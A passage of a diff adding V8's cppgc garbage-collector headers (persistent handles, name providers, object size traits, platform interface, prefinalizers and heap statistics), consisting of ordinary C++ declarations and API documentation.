|
||||
* many decompression cycles.
|
||||
*/
|
||||
template <typename T>
|
||||
using UncompressedMember = internal::BasicMember<
|
||||
T, internal::StrongMemberTag, internal::DijkstraWriteBarrierPolicy,
|
||||
internal::DefaultMemberCheckingPolicy, internal::RawPointer>;
|
||||
|
||||
} // namespace subtle
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_MEMBER_H_
|
||||
@@ -0,0 +1,65 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_NAME_PROVIDER_H_
|
||||
#define INCLUDE_CPPGC_NAME_PROVIDER_H_
|
||||
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
/**
|
||||
* NameProvider allows for providing a human-readable name for garbage-collected
|
||||
* objects.
|
||||
*
|
||||
* There's two cases of names to distinguish:
|
||||
* a. Explicitly specified names via using NameProvider. Such names are always
|
||||
* preserved in the system.
|
||||
* b. Internal names that Oilpan infers from a C++ type on the class hierarchy
|
||||
* of the object. This is not necessarily the type of the actually
|
||||
* instantiated object.
|
||||
*
|
||||
* Depending on the build configuration, Oilpan may hide names, i.e., represent
|
||||
* them with kHiddenName, of case b. to avoid exposing internal details.
|
||||
*/
|
||||
class V8_EXPORT NameProvider {
|
||||
public:
|
||||
/**
|
||||
* Name that is used when hiding internals.
|
||||
*/
|
||||
static constexpr const char kHiddenName[] = "InternalNode";
|
||||
|
||||
/**
|
||||
* Name that is used in case compiler support is missing for composing a name
|
||||
* from C++ types.
|
||||
*/
|
||||
static constexpr const char kNoNameDeducible[] = "<No name>";
|
||||
|
||||
/**
|
||||
* Indicating whether the build supports extracting C++ names as object names.
|
||||
*
|
||||
* @returns true if C++ names should be hidden and represented by kHiddenName.
|
||||
*/
|
||||
static constexpr bool SupportsCppClassNamesAsObjectNames() {
|
||||
#if CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
return true;
|
||||
#else // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
return false;
|
||||
#endif // !CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
}
|
||||
|
||||
virtual ~NameProvider() = default;
|
||||
|
||||
/**
|
||||
* Specifies a name for the garbage-collected object. Such names will never
|
||||
* be hidden, as they are explicitly specified by the user of this API.
|
||||
*
|
||||
* @returns a human readable name for the object.
|
||||
*/
|
||||
virtual const char* GetHumanReadableName() const = 0;
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_NAME_PROVIDER_H_
|
||||
@@ -0,0 +1,58 @@
|
||||
// Copyright 2021 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_OBJECT_SIZE_TRAIT_H_
|
||||
#define INCLUDE_CPPGC_OBJECT_SIZE_TRAIT_H_
|
||||
|
||||
#include <cstddef>
|
||||
|
||||
#include "cppgc/type-traits.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
namespace internal {
|
||||
|
||||
struct V8_EXPORT BaseObjectSizeTrait {
|
||||
protected:
|
||||
static size_t GetObjectSizeForGarbageCollected(const void*);
|
||||
static size_t GetObjectSizeForGarbageCollectedMixin(const void*);
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
|
||||
namespace subtle {
|
||||
|
||||
/**
|
||||
* Trait specifying how to get the size of an object that was allocated using
|
||||
* `MakeGarbageCollected()`. Also supports querying the size with an inner
|
||||
* pointer to a mixin.
|
||||
*/
|
||||
template <typename T, bool = IsGarbageCollectedMixinTypeV<T>>
|
||||
struct ObjectSizeTrait;
|
||||
|
||||
template <typename T>
|
||||
struct ObjectSizeTrait<T, false> : cppgc::internal::BaseObjectSizeTrait {
|
||||
static_assert(sizeof(T), "T must be fully defined");
|
||||
static_assert(IsGarbageCollectedTypeV<T>,
|
||||
"T must be of type GarbageCollected or GarbageCollectedMixin");
|
||||
|
||||
static size_t GetSize(const T& object) {
|
||||
return GetObjectSizeForGarbageCollected(&object);
|
||||
}
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct ObjectSizeTrait<T, true> : cppgc::internal::BaseObjectSizeTrait {
|
||||
static_assert(sizeof(T), "T must be fully defined");
|
||||
|
||||
static size_t GetSize(const T& object) {
|
||||
return GetObjectSizeForGarbageCollectedMixin(&object);
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace subtle
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_OBJECT_SIZE_TRAIT_H_
|
||||
@@ -0,0 +1,373 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_PERSISTENT_H_
|
||||
#define INCLUDE_CPPGC_PERSISTENT_H_
|
||||
|
||||
#include <type_traits>
|
||||
|
||||
#include "cppgc/internal/persistent-node.h"
|
||||
#include "cppgc/internal/pointer-policies.h"
|
||||
#include "cppgc/sentinel-pointer.h"
|
||||
#include "cppgc/source-location.h"
|
||||
#include "cppgc/type-traits.h"
|
||||
#include "cppgc/visitor.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
// PersistentBase always refers to the object as const object and defers to
|
||||
// BasicPersistent on casting to the right type as needed.
|
||||
class PersistentBase {
|
||||
protected:
|
||||
PersistentBase() = default;
|
||||
explicit PersistentBase(const void* raw) : raw_(raw) {}
|
||||
|
||||
const void* GetValue() const { return raw_; }
|
||||
void SetValue(const void* value) { raw_ = value; }
|
||||
|
||||
PersistentNode* GetNode() const { return node_; }
|
||||
void SetNode(PersistentNode* node) { node_ = node; }
|
||||
|
||||
// Performs a shallow clear which assumes that internal persistent nodes are
|
||||
// destroyed elsewhere.
|
||||
void ClearFromGC() const {
|
||||
raw_ = nullptr;
|
||||
node_ = nullptr;
|
||||
}
|
||||
|
||||
protected:
|
||||
mutable const void* raw_ = nullptr;
|
||||
mutable PersistentNode* node_ = nullptr;
|
||||
|
||||
friend class PersistentRegionBase;
|
||||
};
|
||||
|
||||
// The basic class from which all Persistent classes are generated.
|
||||
template <typename T, typename WeaknessPolicy, typename LocationPolicy,
|
||||
typename CheckingPolicy>
|
||||
class BasicPersistent final : public PersistentBase,
|
||||
public LocationPolicy,
|
||||
private WeaknessPolicy,
|
||||
private CheckingPolicy {
|
||||
public:
|
||||
using typename WeaknessPolicy::IsStrongPersistent;
|
||||
using PointeeType = T;
|
||||
|
||||
// Null-state/sentinel constructors.
|
||||
BasicPersistent( // NOLINT
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: LocationPolicy(loc) {}
|
||||
|
||||
BasicPersistent(std::nullptr_t, // NOLINT
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: LocationPolicy(loc) {}
|
||||
|
||||
BasicPersistent( // NOLINT
|
||||
SentinelPointer s, const SourceLocation& loc = SourceLocation::Current())
|
||||
: PersistentBase(s), LocationPolicy(loc) {}
|
||||
|
||||
// Raw value constructors.
|
||||
BasicPersistent(T* raw, // NOLINT
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: PersistentBase(raw), LocationPolicy(loc) {
|
||||
if (!IsValid()) return;
|
||||
SetNode(WeaknessPolicy::GetPersistentRegion(GetValue())
|
||||
.AllocateNode(this, &TraceAsRoot));
|
||||
this->CheckPointer(Get());
|
||||
}
|
||||
|
||||
BasicPersistent(T& raw, // NOLINT
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicPersistent(&raw, loc) {}
|
||||
|
||||
// Copy ctor.
|
||||
BasicPersistent(const BasicPersistent& other,
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicPersistent(other.Get(), loc) {}
|
||||
|
||||
// Heterogeneous ctor.
|
||||
template <typename U, typename OtherWeaknessPolicy,
|
||||
typename OtherLocationPolicy, typename OtherCheckingPolicy,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicPersistent(
|
||||
const BasicPersistent<U, OtherWeaknessPolicy, OtherLocationPolicy,
|
||||
OtherCheckingPolicy>& other,
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicPersistent(other.Get(), loc) {}
|
||||
|
||||
// Move ctor. The heterogeneous move ctor is not supported since e.g.
|
||||
// persistent can't reuse persistent node from weak persistent.
|
||||
BasicPersistent(
|
||||
BasicPersistent&& other,
|
||||
const SourceLocation& loc = SourceLocation::Current()) noexcept
|
||||
: PersistentBase(std::move(other)), LocationPolicy(std::move(other)) {
|
||||
if (!IsValid()) return;
|
||||
GetNode()->UpdateOwner(this);
|
||||
other.SetValue(nullptr);
|
||||
other.SetNode(nullptr);
|
||||
this->CheckPointer(Get());
|
||||
}
|
||||
|
||||
// Constructor from member.
|
||||
template <typename U, typename MemberBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicPersistent(const internal::BasicMember<
|
||||
U, MemberBarrierPolicy, MemberWeaknessTag,
|
||||
MemberCheckingPolicy, MemberStorageType>& member,
|
||||
const SourceLocation& loc = SourceLocation::Current())
|
||||
: BasicPersistent(member.Get(), loc) {}
|
||||
|
||||
~BasicPersistent() { Clear(); }
|
||||
|
||||
// Copy assignment.
|
||||
BasicPersistent& operator=(const BasicPersistent& other) {
|
||||
return operator=(other.Get());
|
||||
}
|
||||
|
||||
template <typename U, typename OtherWeaknessPolicy,
|
||||
typename OtherLocationPolicy, typename OtherCheckingPolicy,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicPersistent& operator=(
|
||||
const BasicPersistent<U, OtherWeaknessPolicy, OtherLocationPolicy,
|
||||
OtherCheckingPolicy>& other) {
|
||||
return operator=(other.Get());
|
||||
}
|
||||
|
||||
// Move assignment.
|
||||
BasicPersistent& operator=(BasicPersistent&& other) noexcept {
|
||||
if (this == &other) return *this;
|
||||
Clear();
|
||||
PersistentBase::operator=(std::move(other));
|
||||
LocationPolicy::operator=(std::move(other));
|
||||
if (!IsValid()) return *this;
|
||||
GetNode()->UpdateOwner(this);
|
||||
other.SetValue(nullptr);
|
||||
other.SetNode(nullptr);
|
||||
this->CheckPointer(Get());
|
||||
return *this;
|
||||
}
|
||||
|
||||
// Assignment from member.
|
||||
template <typename U, typename MemberBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
BasicPersistent& operator=(
|
||||
const internal::BasicMember<U, MemberBarrierPolicy, MemberWeaknessTag,
|
||||
MemberCheckingPolicy, MemberStorageType>&
|
||||
member) {
|
||||
return operator=(member.Get());
|
||||
}
|
||||
|
||||
BasicPersistent& operator=(T* other) {
|
||||
Assign(other);
|
||||
return *this;
|
||||
}
|
||||
|
||||
BasicPersistent& operator=(std::nullptr_t) {
|
||||
Clear();
|
||||
return *this;
|
||||
}
|
||||
|
||||
BasicPersistent& operator=(SentinelPointer s) {
|
||||
Assign(s);
|
||||
return *this;
|
||||
}
|
||||
|
||||
explicit operator bool() const { return Get(); }
|
||||
operator T*() const { return Get(); }
|
||||
T* operator->() const { return Get(); }
|
||||
T& operator*() const { return *Get(); }
|
||||
|
||||
// CFI cast exemption to allow passing SentinelPointer through T* and support
|
||||
// heterogeneous assignments between different Member and Persistent handles
|
||||
// based on their actual types.
|
||||
V8_CLANG_NO_SANITIZE("cfi-unrelated-cast") T* Get() const {
|
||||
// The const_cast below removes the constness from PersistentBase storage.
|
||||
// The following static_cast re-adds any constness if specified through the
|
||||
// user-visible template parameter T.
|
||||
return static_cast<T*>(const_cast<void*>(GetValue()));
|
||||
}
|
||||
|
||||
void Clear() {
|
||||
// Simplified version of `Assign()` to allow calling without a complete type
|
||||
// `T`.
|
||||
if (IsValid()) {
|
||||
WeaknessPolicy::GetPersistentRegion(GetValue()).FreeNode(GetNode());
|
||||
SetNode(nullptr);
|
||||
}
|
||||
SetValue(nullptr);
|
||||
}
|
||||
|
||||
T* Release() {
|
||||
T* result = Get();
|
||||
Clear();
|
||||
return result;
|
||||
}
|
||||
|
||||
template <typename U, typename OtherWeaknessPolicy = WeaknessPolicy,
|
||||
typename OtherLocationPolicy = LocationPolicy,
|
||||
typename OtherCheckingPolicy = CheckingPolicy>
|
||||
BasicPersistent<U, OtherWeaknessPolicy, OtherLocationPolicy,
|
||||
OtherCheckingPolicy>
|
||||
To() const {
|
||||
return BasicPersistent<U, OtherWeaknessPolicy, OtherLocationPolicy,
|
||||
OtherCheckingPolicy>(static_cast<U*>(Get()));
|
||||
}
|
||||
|
||||
private:
|
||||
static void TraceAsRoot(RootVisitor& root_visitor, const void* ptr) {
|
||||
root_visitor.Trace(*static_cast<const BasicPersistent*>(ptr));
|
||||
}
|
||||
|
||||
bool IsValid() const {
|
||||
// Ideally, handling kSentinelPointer would be done by the embedder. On the
|
||||
// other hand, having Persistent aware of it is beneficial since no node
|
||||
// gets wasted.
|
||||
return GetValue() != nullptr && GetValue() != kSentinelPointer;
|
||||
}
|
||||
|
||||
void Assign(T* ptr) {
|
||||
if (IsValid()) {
|
||||
if (ptr && ptr != kSentinelPointer) {
|
||||
// Simply assign the pointer reusing the existing node.
|
||||
SetValue(ptr);
|
||||
this->CheckPointer(ptr);
|
||||
return;
|
||||
}
|
||||
WeaknessPolicy::GetPersistentRegion(GetValue()).FreeNode(GetNode());
|
||||
SetNode(nullptr);
|
||||
}
|
||||
SetValue(ptr);
|
||||
if (!IsValid()) return;
|
||||
SetNode(WeaknessPolicy::GetPersistentRegion(GetValue())
|
||||
.AllocateNode(this, &TraceAsRoot));
|
||||
this->CheckPointer(Get());
|
||||
}
|
||||
|
||||
void ClearFromGC() const {
|
||||
if (IsValid()) {
|
||||
WeaknessPolicy::GetPersistentRegion(GetValue()).FreeNode(GetNode());
|
||||
PersistentBase::ClearFromGC();
|
||||
}
|
||||
}
|
||||
|
||||
// Set Get() for details.
|
||||
V8_CLANG_NO_SANITIZE("cfi-unrelated-cast")
|
||||
T* GetFromGC() const {
|
||||
return static_cast<T*>(const_cast<void*>(GetValue()));
|
||||
}
|
||||
|
||||
friend class internal::RootVisitor;
|
||||
};
|
||||
|
||||
template <typename T1, typename WeaknessPolicy1, typename LocationPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessPolicy2,
|
||||
typename LocationPolicy2, typename CheckingPolicy2>
|
||||
bool operator==(const BasicPersistent<T1, WeaknessPolicy1, LocationPolicy1,
|
||||
CheckingPolicy1>& p1,
|
||||
const BasicPersistent<T2, WeaknessPolicy2, LocationPolicy2,
|
||||
CheckingPolicy2>& p2) {
|
||||
return p1.Get() == p2.Get();
|
||||
}
|
||||
|
||||
template <typename T1, typename WeaknessPolicy1, typename LocationPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessPolicy2,
|
||||
typename LocationPolicy2, typename CheckingPolicy2>
|
||||
bool operator!=(const BasicPersistent<T1, WeaknessPolicy1, LocationPolicy1,
|
||||
CheckingPolicy1>& p1,
|
||||
const BasicPersistent<T2, WeaknessPolicy2, LocationPolicy2,
|
||||
CheckingPolicy2>& p2) {
|
||||
return !(p1 == p2);
|
||||
}
|
||||
|
||||
template <typename T1, typename PersistentWeaknessPolicy,
|
||||
typename PersistentLocationPolicy, typename PersistentCheckingPolicy,
|
||||
typename T2, typename MemberWriteBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType>
|
||||
bool operator==(
|
||||
const BasicPersistent<T1, PersistentWeaknessPolicy,
|
||||
PersistentLocationPolicy, PersistentCheckingPolicy>&
|
||||
p,
|
||||
const BasicMember<T2, MemberWeaknessTag, MemberWriteBarrierPolicy,
|
||||
MemberCheckingPolicy, MemberStorageType>& m) {
|
||||
return p.Get() == m.Get();
|
||||
}
|
||||
|
||||
template <typename T1, typename PersistentWeaknessPolicy,
|
||||
typename PersistentLocationPolicy, typename PersistentCheckingPolicy,
|
||||
typename T2, typename MemberWriteBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType>
|
||||
bool operator!=(
|
||||
const BasicPersistent<T1, PersistentWeaknessPolicy,
|
||||
PersistentLocationPolicy, PersistentCheckingPolicy>&
|
||||
p,
|
||||
const BasicMember<T2, MemberWeaknessTag, MemberWriteBarrierPolicy,
|
||||
MemberCheckingPolicy, MemberStorageType>& m) {
|
||||
return !(p == m);
|
||||
}
|
||||
|
||||
template <typename T1, typename MemberWriteBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType, typename T2,
|
||||
typename PersistentWeaknessPolicy, typename PersistentLocationPolicy,
|
||||
typename PersistentCheckingPolicy>
|
||||
bool operator==(
|
||||
const BasicMember<T2, MemberWeaknessTag, MemberWriteBarrierPolicy,
|
||||
MemberCheckingPolicy, MemberStorageType>& m,
|
||||
const BasicPersistent<T1, PersistentWeaknessPolicy,
|
||||
PersistentLocationPolicy, PersistentCheckingPolicy>&
|
||||
p) {
|
||||
return m.Get() == p.Get();
|
||||
}
|
||||
|
||||
template <typename T1, typename MemberWriteBarrierPolicy,
|
||||
typename MemberWeaknessTag, typename MemberCheckingPolicy,
|
||||
typename MemberStorageType, typename T2,
|
||||
typename PersistentWeaknessPolicy, typename PersistentLocationPolicy,
|
||||
typename PersistentCheckingPolicy>
|
||||
bool operator!=(
|
||||
const BasicMember<T2, MemberWeaknessTag, MemberWriteBarrierPolicy,
|
||||
MemberCheckingPolicy, MemberStorageType>& m,
|
||||
const BasicPersistent<T1, PersistentWeaknessPolicy,
|
||||
PersistentLocationPolicy, PersistentCheckingPolicy>&
|
||||
p) {
|
||||
return !(m == p);
|
||||
}
|
||||
|
||||
template <typename T, typename LocationPolicy, typename CheckingPolicy>
|
||||
struct IsWeak<BasicPersistent<T, internal::WeakPersistentPolicy, LocationPolicy,
|
||||
CheckingPolicy>> : std::true_type {};
|
||||
} // namespace internal
|
||||
|
||||
/**
|
||||
* Persistent is a way to create a strong pointer from an off-heap object to
|
||||
* another on-heap object. As long as the Persistent handle is alive the GC will
|
||||
* keep the object pointed to alive. The Persistent handle is always a GC root
|
||||
* from the point of view of the GC. Persistent must be constructed and
|
||||
* destructed in the same thread.
|
||||
*/
|
||||
template <typename T>
|
||||
using Persistent =
|
||||
internal::BasicPersistent<T, internal::StrongPersistentPolicy>;
|
||||
|
||||
/**
|
||||
* WeakPersistent is a way to create a weak pointer from an off-heap object to
|
||||
* an on-heap object. The pointer is automatically cleared when the pointee gets
|
||||
* collected. WeakPersistent must be constructed and destructed in the same
|
||||
* thread.
|
||||
*/
|
||||
template <typename T>
|
||||
using WeakPersistent =
|
||||
internal::BasicPersistent<T, internal::WeakPersistentPolicy>;
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_PERSISTENT_H_
|
||||
@@ -0,0 +1,158 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_PLATFORM_H_
|
||||
#define INCLUDE_CPPGC_PLATFORM_H_
|
||||
|
||||
#include <memory>
|
||||
|
||||
#include "cppgc/source-location.h"
|
||||
#include "v8-platform.h" // NOLINT(build/include_directory)
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
// TODO(v8:10346): Create separate includes for concepts that are not
|
||||
// V8-specific.
|
||||
using IdleTask = v8::IdleTask;
|
||||
using JobHandle = v8::JobHandle;
|
||||
using JobDelegate = v8::JobDelegate;
|
||||
using JobTask = v8::JobTask;
|
||||
using PageAllocator = v8::PageAllocator;
|
||||
using Task = v8::Task;
|
||||
using TaskPriority = v8::TaskPriority;
|
||||
using TaskRunner = v8::TaskRunner;
|
||||
using TracingController = v8::TracingController;
|
||||
|
||||
/**
|
||||
* Platform interface used by Heap. Contains allocators and executors.
|
||||
*/
|
||||
class V8_EXPORT Platform {
|
||||
public:
|
||||
virtual ~Platform() = default;
|
||||
|
||||
/**
|
||||
* \returns the allocator used by cppgc to allocate its heap and various
|
||||
* support structures. Returning nullptr results in using the `PageAllocator`
|
||||
* provided by `cppgc::InitializeProcess()` instead.
|
||||
*/
|
||||
virtual PageAllocator* GetPageAllocator() = 0;
|
||||
|
||||
/**
|
||||
* Monotonically increasing time in seconds from an arbitrary fixed point in
|
||||
* the past. This function is expected to return at least
|
||||
* millisecond-precision values. For this reason,
|
||||
* it is recommended that the fixed point be no further in the past than
|
||||
* the epoch.
|
||||
**/
|
||||
virtual double MonotonicallyIncreasingTime() = 0;
|
||||
|
||||
/**
|
||||
* Foreground task runner that should be used by a Heap.
|
||||
*/
|
||||
virtual std::shared_ptr<TaskRunner> GetForegroundTaskRunner() {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
/**
|
||||
* Posts `job_task` to run in parallel. Returns a `JobHandle` associated with
|
||||
* the `Job`, which can be joined or canceled.
|
||||
* This avoids degenerate cases:
|
||||
* - Calling `CallOnWorkerThread()` for each work item, causing significant
|
||||
* overhead.
|
||||
* - Fixed number of `CallOnWorkerThread()` calls that split the work and
|
||||
* might run for a long time. This is problematic when many components post
|
||||
* "num cores" tasks and all expect to use all the cores. In these cases,
|
||||
* the scheduler lacks context to be fair to multiple same-priority requests
|
||||
* and/or ability to request lower priority work to yield when high priority
|
||||
* work comes in.
|
||||
* A canonical implementation of `job_task` looks like:
|
||||
* \code
|
||||
* class MyJobTask : public JobTask {
|
||||
* public:
|
||||
* MyJobTask(...) : worker_queue_(...) {}
|
||||
* // JobTask implementation.
|
||||
* void Run(JobDelegate* delegate) override {
|
||||
* while (!delegate->ShouldYield()) {
|
||||
* // Smallest unit of work.
|
||||
* auto work_item = worker_queue_.TakeWorkItem(); // Thread safe.
|
||||
* if (!work_item) return;
|
||||
* ProcessWork(work_item);
|
||||
* }
|
||||
* }
|
||||
*
|
||||
* size_t GetMaxConcurrency() const override {
|
||||
* return worker_queue_.GetSize(); // Thread safe.
|
||||
* }
|
||||
* };
|
||||
*
|
||||
* // ...
|
||||
* auto handle = PostJob(TaskPriority::kUserVisible,
|
||||
* std::make_unique<MyJobTask>(...));
|
||||
* handle->Join();
|
||||
* \endcode
|
||||
*
|
||||
* `PostJob()` and methods of the returned JobHandle/JobDelegate, must never
|
||||
* be called while holding a lock that could be acquired by `JobTask::Run()`
|
||||
* or `JobTask::GetMaxConcurrency()` -- that could result in a deadlock. This
|
||||
* is because (1) `JobTask::GetMaxConcurrency()` may be invoked while holding
|
||||
* internal lock (A), hence `JobTask::GetMaxConcurrency()` can only use a lock
|
||||
* (B) if that lock is *never* held while calling back into `JobHandle` from
|
||||
* any thread (A=>B/B=>A deadlock) and (2) `JobTask::Run()` or
|
||||
* `JobTask::GetMaxConcurrency()` may be invoked synchronously from
|
||||
* `JobHandle` (B=>JobHandle::foo=>B deadlock).
|
||||
*
|
||||
* A sufficient `PostJob()` implementation that uses the default Job provided
|
||||
* in libplatform looks like:
|
||||
* \code
|
||||
* std::unique_ptr<JobHandle> PostJob(
|
||||
* TaskPriority priority, std::unique_ptr<JobTask> job_task) override {
|
||||
* return std::make_unique<DefaultJobHandle>(
|
||||
* std::make_shared<DefaultJobState>(
|
||||
* this, std::move(job_task), kNumThreads));
|
||||
* }
|
||||
* \endcode
|
||||
*/
|
||||
virtual std::unique_ptr<JobHandle> PostJob(
|
||||
TaskPriority priority, std::unique_ptr<JobTask> job_task) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns an instance of a `TracingController`. This must be non-nullptr. The
|
||||
* default implementation returns an empty `TracingController` that consumes
|
||||
* trace data without effect.
|
||||
*/
|
||||
virtual TracingController* GetTracingController();
|
||||
};
|
||||
|
||||
/**
|
||||
* Process-global initialization of the garbage collector. Must be called before
|
||||
* creating a Heap.
|
||||
*
|
||||
* Can be called multiple times when paired with `ShutdownProcess()`.
|
||||
*
|
||||
* \param page_allocator The allocator used for maintaining meta data. Must stay
|
||||
* always alive and not change between multiple calls to InitializeProcess. If
|
||||
* no allocator is provided, a default internal version will be used.
|
||||
*/
|
||||
V8_EXPORT void InitializeProcess(PageAllocator* page_allocator = nullptr);
|
||||
|
||||
/**
|
||||
* Must be called after destroying the last used heap. Some process-global
|
||||
* metadata may not be returned and reused upon a subsequent
|
||||
* `InitializeProcess()` call.
|
||||
*/
|
||||
V8_EXPORT void ShutdownProcess();
|
||||
|
||||
namespace internal {
|
||||
|
||||
V8_EXPORT void Fatal(const std::string& reason = std::string(),
|
||||
const SourceLocation& = SourceLocation::Current());
|
||||
|
||||
} // namespace internal
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_PLATFORM_H_
|
||||
@@ -0,0 +1,75 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_PREFINALIZER_H_
|
||||
#define INCLUDE_CPPGC_PREFINALIZER_H_
|
||||
|
||||
#include "cppgc/internal/compiler-specific.h"
|
||||
#include "cppgc/liveness-broker.h"
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
namespace internal {
|
||||
|
||||
class V8_EXPORT PrefinalizerRegistration final {
|
||||
public:
|
||||
using Callback = bool (*)(const cppgc::LivenessBroker&, void*);
|
||||
|
||||
PrefinalizerRegistration(void*, Callback);
|
||||
|
||||
void* operator new(size_t, void* location) = delete;
|
||||
void* operator new(size_t) = delete;
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
|
||||
/**
|
||||
* Macro must be used in the private section of `Class` and registers a
|
||||
* prefinalization callback `void Class::PreFinalizer()`. The callback is
|
||||
* invoked on garbage collection after the collector has found an object to be
|
||||
* dead.
|
||||
*
|
||||
* Callback properties:
|
||||
* - The callback is invoked before a possible destructor for the corresponding
|
||||
* object.
|
||||
* - The callback may access the whole object graph, irrespective of whether
|
||||
* objects are considered dead or alive.
|
||||
* - The callback is invoked on the same thread as the object was created on.
|
||||
*
|
||||
* Example:
|
||||
* \code
|
||||
* class WithPrefinalizer : public GarbageCollected<WithPrefinalizer> {
|
||||
* CPPGC_USING_PRE_FINALIZER(WithPrefinalizer, Dispose);
|
||||
*
|
||||
* public:
|
||||
* void Trace(Visitor*) const {}
|
||||
* void Dispose() { prefinalizer_called = true; }
|
||||
* ~WithPrefinalizer() {
|
||||
* // prefinalizer_called == true
|
||||
* }
|
||||
* private:
|
||||
* bool prefinalizer_called = false;
|
||||
* };
|
||||
* \endcode
|
||||
*/
|
||||
#define CPPGC_USING_PRE_FINALIZER(Class, PreFinalizer) \
|
||||
public: \
|
||||
static bool InvokePreFinalizer(const cppgc::LivenessBroker& liveness_broker, \
|
||||
void* object) { \
|
||||
static_assert(cppgc::IsGarbageCollectedOrMixinTypeV<Class>, \
|
||||
"Only garbage collected objects can have prefinalizers"); \
|
||||
Class* self = static_cast<Class*>(object); \
|
||||
if (liveness_broker.IsHeapObjectAlive(self)) return false; \
|
||||
self->PreFinalizer(); \
|
||||
return true; \
|
||||
} \
|
||||
\
|
||||
private: \
|
||||
CPPGC_NO_UNIQUE_ADDRESS cppgc::internal::PrefinalizerRegistration \
|
||||
prefinalizer_dummy_{this, Class::InvokePreFinalizer}; \
|
||||
static_assert(true, "Force semicolon.")
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_PREFINALIZER_H_
|
||||
@@ -0,0 +1,36 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_PROCESS_HEAP_STATISTICS_H_
|
||||
#define INCLUDE_CPPGC_PROCESS_HEAP_STATISTICS_H_
|
||||
|
||||
#include <atomic>
|
||||
#include <cstddef>
|
||||
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
class ProcessHeapStatisticsUpdater;
|
||||
} // namespace internal
|
||||
|
||||
class V8_EXPORT ProcessHeapStatistics final {
|
||||
public:
|
||||
static size_t TotalAllocatedObjectSize() {
|
||||
return total_allocated_object_size_.load(std::memory_order_relaxed);
|
||||
}
|
||||
static size_t TotalAllocatedSpace() {
|
||||
return total_allocated_space_.load(std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
private:
|
||||
static std::atomic_size_t total_allocated_space_;
|
||||
static std::atomic_size_t total_allocated_object_size_;
|
||||
|
||||
friend class internal::ProcessHeapStatisticsUpdater;
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_PROCESS_HEAP_STATISTICS_H_
|
||||